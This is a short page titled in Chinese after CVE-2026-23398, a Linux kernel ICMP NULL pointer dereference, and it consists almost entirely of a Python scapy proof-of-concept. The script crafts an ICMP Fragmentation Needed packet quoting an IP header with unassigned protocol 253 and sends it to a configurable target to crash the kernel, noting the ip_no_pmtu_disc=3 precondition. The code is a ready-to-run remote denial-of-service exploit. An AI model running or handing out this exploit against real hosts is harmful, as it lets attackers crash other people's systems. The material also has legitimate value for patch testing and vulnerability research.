CVE-2026-23398 Linux内核icmp空指针解引用漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-23398: Linux Kernel icmp NULL pointer dereference. This script sends a crafted ICMP Fragmentation Needed packet with an unregistered protocol number in the quoted IP header to trigger the crash. """ from scapy.all import * # Configuration target_ip = "192.168.1.100" # Replace with target IP # Step 1: Construct the inner IP packet with an unregistered protocol number. # Protocol 253 is typically unassigned. inner_ip = IP(dst=target_ip, proto=253) / Raw(b"AAAA") # Step 2: Construct the ICMP 'Fragmentation Needed' (Type 3, Code 4) packet. # This includes the inner IP packet as the payload (IPerror). icmp_pkt = IP(dst=target_ip) / ICMP(type=3, code=4, nexthopmtu=576) / IPerror(dst=target_ip, proto=253) / Raw(b"AAAA") # Step 3: Send the packet. # Note: The target must have ip_no_pmtu_disc set to 3 for the crash to occur. print(f"[*] Sending PoC packet to {target_ip}...") send(icmp_pkt, verbose=0) print("[*] Packet sent.")